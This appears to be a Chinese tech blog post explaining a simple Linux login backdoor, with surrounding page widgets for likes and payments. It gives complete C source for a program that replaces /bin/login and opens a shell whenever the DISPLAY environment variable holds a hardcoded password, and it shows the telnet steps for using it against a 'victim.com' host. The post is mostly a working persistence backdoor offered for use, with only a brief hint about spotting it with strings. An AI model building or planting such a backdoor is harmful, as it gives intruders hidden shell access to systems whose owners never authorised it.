linux后门密码如何修改,linux简单后门之login实现

先把原始的/bin/login备份,再用自己的后门程序替换/bin/login。使用者telnet登录时,通过环境变量或者终端类型传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,重定向到原始的login文件,来处理正常登录。

最简单的login后门ulogin.c源代码如下:

实例:login后门

/****************/

#include #define PASSWORD "passWORD"

#define _PATH_LOGIN "/sbin/logins" //这里的"/sbin/logins"即是备份原来的"/bin/login",而本程序编译后将替换为"/bin/login"

main (argc, argv, envp)

int argc;

char **argv, **envp;

{

char *display = getenv("DISPLAY");

if ( display == NULL ) { //若为空,即是正常登录,用备份的"/sbin/logins"处理请求

execve(_PATH_LOGIN, argv, envp);

perror(_PATH_LOGIN);

exit(1);

}

if (!strcmp(display,PASSWORD)) { //比较密码是否正确,正确则为使用者登录;否则则为正常登录,转下面处理

system("/bin/csh"); //直接启动csh,也可以使用bash

exit(1);

}

execve(_PATH_LOGIN, argv, envp); //正常登录

exit(1);

}

/*********************/

利用后门登录

前提是对方机器上已经替换并备份"/bin/login"为"/sbin/logins",而且Telnet服务是打开的。然后在本机器执行:

/************************/

bash$ export DISPLAY=passWORD

bash$ telnet victim.com

Trying xxx.xxx.xxx.xxx...

Connected to victim.com (xxx.xxx.xxx.xxx).

Escape character is '^]'.

$

/*************************/

另:strings命令能够打印出二进制文件中的可显示字符串,如"strings /bin/login"

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值